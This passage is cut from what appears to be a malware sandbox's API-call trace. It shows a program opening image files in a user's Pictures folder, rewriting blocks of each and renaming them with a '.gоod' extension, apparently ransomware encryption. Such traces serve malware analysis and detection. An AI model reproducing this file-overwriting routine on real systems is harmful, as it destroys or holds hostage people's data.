hTemplateFile=0x0) returned 0x810 [0166.174] GetFileType (hFile=0x810) returned 0x1 [0166.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0166.174] GetFileType (hFile=0x810) returned 0x1 [0166.174] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0xf23c [0166.174] WriteFile (in: hFile=0x810, lpBuffer=0x33e5a40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x33e5a40*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0166.174] CloseHandle (hObject=0x810) returned 1 [0166.174] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", lpFilePart=0x0) returned 0x2d [0166.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0166.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mao0wqvjaeyskf20.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0166.174] GetFileType (hFile=0x810) returned 0x1 [0166.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0166.175] GetFileType (hFile=0x810) returned 0x1 [0166.175] ReadFile (in: hFile=0x810, lpBuffer=0x33e7ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x33e7ce0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0166.869] CloseHandle (hObject=0x810) returned 1 [0166.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", lpFilePart=0x0) returned 0x2d [0166.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0166.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mao0wqvjaeyskf20.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0166.870] GetFileType (hFile=0x810) returned 0x1 [0166.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0166.870] GetFileType (hFile=0x810) returned 0x1 [0166.870] WriteFile (in: hFile=0x810, lpBuffer=0x33c5ee8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33c5ee8*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0166.870] CloseHandle (hObject=0x810) returned 1 [0166.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", lpFilePart=0x0) returned 0x2d [0166.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp.gоod", lpFilePart=0x0) returned 0x32 [0166.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0166.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mao0wqvjaeyskf20.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b03270, ftCreationTime.dwHighDateTime=0x1d4cd7f, ftLastAccessTime.dwLowDateTime=0x6114f5a0, ftLastAccessTime.dwHighDateTime=0x1d4cab2, ftLastWriteTime.dwLowDateTime=0x5fada6b8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf24c)) returned 1 [0166.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0166.871] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mao0wqvjaeyskf20.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\mao0wqvjaeyskf20.bmp.gоod")) returned 1 [0166.994] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", lpFilePart=0x0) returned 0x26 [0166.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0166.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mkrtmo5l6.bmp"), fInfoLevelId=0x0, lpFileInformation=0x33f8cd8 | out: lpFileInformation=0x33f8cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8036c40, ftCreationTime.dwHighDateTime=0x1d4d330, ftLastAccessTime.dwLowDateTime=0x42fcfa0, ftLastAccessTime.dwHighDateTime=0x1d4d06a, ftLastWriteTime.dwLowDateTime=0x42fcfa0, ftLastWriteTime.dwHighDateTime=0x1d4d06a, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c)) returned 1 [0166.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0166.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", lpFilePart=0x0) returned 0x26 [0166.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0166.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mkrtmo5l6.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0166.995] GetFileType (hFile=0x810) returned 0x1 [0166.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0166.995] GetFileType (hFile=0x810) returned 0x1 [0166.995] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0166.995] ReadFile (in: hFile=0x810, lpBuffer=0x33f9070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x33f9070*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0166.995] CloseHandle (hObject=0x810) returned 1 [0166.996] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", lpFilePart=0x0) returned 0x26 [0166.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0166.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mkrtmo5l6.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0166.996] GetFileType (hFile=0x810) returned 0x1 [0166.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0166.996] GetFileType (hFile=0x810) returned 0x1 [0166.996] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0xbb7c [0166.996] WriteFile (in: hFile=0x810, lpBuffer=0x33fa2c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x33fa2c8*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0166.996] CloseHandle (hObject=0x810) returned 1 [0166.996] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", lpFilePart=0x0) returned 0x26 [0166.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0166.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mkrtmo5l6.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0166.996] GetFileType (hFile=0x810) returned 0x1 [0166.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0166.997] GetFileType (hFile=0x810) returned 0x1 [0166.997] ReadFile (in: hFile=0x810, lpBuffer=0x33fc548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x33fc548*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0167.035] CloseHandle (hObject=0x810) returned 1 [0167.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", lpFilePart=0x0) returned 0x26 [0167.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0167.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mkrtmo5l6.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0167.036] GetFileType (hFile=0x810) returned 0x1 [0167.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0167.036] GetFileType (hFile=0x810) returned 0x1 [0167.036] WriteFile (in: hFile=0x810, lpBuffer=0x33fb2e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33fb2e0*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0167.036] CloseHandle (hObject=0x810) returned 1 [0167.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp", lpFilePart=0x0) returned 0x26 [0167.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp.gоod", lpFilePart=0x0) returned 0x2b [0167.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0167.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mkrtmo5l6.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8036c40, ftCreationTime.dwHighDateTime=0x1d4d330, ftLastAccessTime.dwLowDateTime=0x42fcfa0, ftLastAccessTime.dwHighDateTime=0x1d4d06a, ftLastWriteTime.dwLowDateTime=0x5fc57e73, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbb8c)) returned 1 [0167.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0167.037] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mkrtmo5l6.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\MkRTmO5L6.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\mkrtmo5l6.bmp.gоod")) returned 1 [0167.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", lpFilePart=0x0) returned 0x2d [0167.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0167.037] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\moqom0bbpij39soo.gif"), fInfoLevelId=0x0, lpFileInformation=0x3478980 | out: lpFileInformation=0x3478980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fb6810, ftCreationTime.dwHighDateTime=0x1d4d210, ftLastAccessTime.dwLowDateTime=0xe6bf0460, ftLastAccessTime.dwHighDateTime=0x1d4ce0a, ftLastWriteTime.dwLowDateTime=0xe6bf0460, ftLastWriteTime.dwHighDateTime=0x1d4ce0a, nFileSizeHigh=0x0, nFileSizeLow=0x14614)) returned 1 [0167.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0167.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", lpFilePart=0x0) returned 0x2d [0167.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0167.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\moqom0bbpij39soo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0167.038] GetFileType (hFile=0x810) returned 0x1 [0167.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0167.038] GetFileType (hFile=0x810) returned 0x1 [0167.038] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0167.038] ReadFile (in: hFile=0x810, lpBuffer=0x3478d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3478d58*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0167.038] CloseHandle (hObject=0x810) returned 1 [0167.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", lpFilePart=0x0) returned 0x2d [0167.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0167.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\moqom0bbpij39soo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0167.182] GetFileType (hFile=0x810) returned 0x1 [0167.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0167.367] GetFileType (hFile=0x810) returned 0x1 [0167.367] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x14614 [0167.368] WriteFile (in: hFile=0x810, lpBuffer=0x3583f90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3583f90*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0167.368] CloseHandle (hObject=0x810) returned 1 [0167.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", lpFilePart=0x0) returned 0x2d [0167.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0167.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\moqom0bbpij39soo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0167.368] GetFileType (hFile=0x810) returned 0x1 [0167.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0167.368] GetFileType (hFile=0x810) returned 0x1 [0167.368] ReadFile (in: hFile=0x810, lpBuffer=0x3586230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3586230*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0167.486] CloseHandle (hObject=0x810) returned 1 [0167.486] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", lpFilePart=0x0) returned 0x2d [0167.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0167.486] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\moqom0bbpij39soo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0167.486] GetFileType (hFile=0x810) returned 0x1 [0167.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0167.487] GetFileType (hFile=0x810) returned 0x1 [0167.487] WriteFile (in: hFile=0x810, lpBuffer=0x33f3470*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33f3470*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0167.487] CloseHandle (hObject=0x810) returned 1 [0167.487] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif", lpFilePart=0x0) returned 0x2d [0167.487] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif.gоod", lpFilePart=0x0) returned 0x32 [0167.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0167.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\moqom0bbpij39soo.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fb6810, ftCreationTime.dwHighDateTime=0x1d4d210, ftLastAccessTime.dwLowDateTime=0xe6bf0460, ftLastAccessTime.dwHighDateTime=0x1d4ce0a, ftLastWriteTime.dwLowDateTime=0x600aa2b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14624)) returned 1 [0167.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0167.487] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\moqom0bbpij39soo.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\moQOm0BbPIj39soo.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\moqom0bbpij39soo.gif.gоod")) returned 1 [0167.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", lpFilePart=0x0) returned 0x21 [0167.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0167.614] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nqcf.jpg"), fInfoLevelId=0x0, lpFileInformation=0x34895e0 | out: lpFileInformation=0x34895e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f657c0, ftCreationTime.dwHighDateTime=0x1d4c5dd, ftLastAccessTime.dwLowDateTime=0x70051540, ftLastAccessTime.dwHighDateTime=0x1d4ca76, ftLastWriteTime.dwLowDateTime=0x70051540, ftLastWriteTime.dwHighDateTime=0x1d4ca76, nFileSizeHigh=0x0, nFileSizeLow=0x3cb9)) returned 1 [0167.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0167.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", lpFilePart=0x0) returned 0x21 [0167.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0167.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nqcf.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0167.615] GetFileType (hFile=0x810) returned 0x1 [0167.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0167.615] GetFileType (hFile=0x810) returned 0x1 [0167.615] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0167.615] ReadFile (in: hFile=0x810, lpBuffer=0x3489958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3489958*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0167.615] CloseHandle (hObject=0x810) returned 1 [0167.615] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", lpFilePart=0x0) returned 0x21 [0167.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0167.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nqcf.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0167.615] GetFileType (hFile=0x810) returned 0x1 [0167.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0167.616] GetFileType (hFile=0x810) returned 0x1 [0167.616] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x3cb9 [0167.616] WriteFile (in: hFile=0x810, lpBuffer=0x348aba0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x348aba0*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0167.616] CloseHandle (hObject=0x810) returned 1 [0167.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", lpFilePart=0x0) returned 0x21 [0167.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0167.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nqcf.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0167.616] GetFileType (hFile=0x810) returned 0x1 [0167.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0167.616] GetFileType (hFile=0x810) returned 0x1 [0167.616] ReadFile (in: hFile=0x810, lpBuffer=0x348ce10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x348ce10*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0168.055] CloseHandle (hObject=0x810) returned 1 [0168.055] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", lpFilePart=0x0) returned 0x21 [0168.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0168.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg" (normalized: 